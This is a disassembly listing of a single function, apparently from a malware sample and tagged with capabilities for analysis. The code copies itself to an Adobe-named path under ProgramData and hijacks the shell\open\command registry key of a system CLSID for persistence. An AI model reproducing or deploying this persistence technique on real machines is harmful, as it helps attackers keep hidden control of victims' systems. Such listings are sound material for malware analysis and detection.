Function at 0x140003eb0
Capabilities:
Persist via default file association registry key
Set registry value

Disassembly:
sub rsp, 0xa8
mov byte [rsp + 0x60], 0
mov r9d, 4
mov r8d, 0x1000
mov edx, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x68], rax
lea rdx, str.c:ProgramDataAdobe_Documents_
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rdx, qword [str.Adobe.exe]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov r9d, 4
mov r8d, 0x1000
mov edx, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x78], rax
mov r8d, 0x104
mov rdx, qword [rsp + 0x78]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov r9d, 4
mov r8d, 0x1000
mov edx, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x140005528]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x80], eax
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x68]
call fcn.140003320
lea rax, str.645FF040_5081_101B_9F08_00AA002F954E
mov qword [rsp + 0x88], rax
lea rax, str.shell
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [0x1400055d0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140003fe7
xor eax, eax
jmp 0x1400042bf
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140004049
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x1400042bf
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREClassesCLSID645FF040_5081_101B_9F08_00AA002F954E
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x14000408d
xor eax, eax
jmp 0x1400042bf
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x1400040ef
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x1400042bf
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREClassesCLSID645FF040_5081_101B_9F08_00AA002F954E_shell
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140004133
xor eax, eax
jmp 0x1400042bf
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.open
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140004194
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x1400042bf
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREClassesCLSID645FF040_5081_101B_9F08_00AA002F954E_shellopen
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x1400041cd
xor eax, eax
jmp 0x1400042bf
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.command
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x14000422e
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x1400042bf
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREClassesCLSID645FF040_5081_101B_9F08_00AA002F954E_shellopencommand
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140004264
xor eax, eax
jmp 0x1400042bf
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x1400042af
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x1400042bf
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add rsp, 0xa8
ret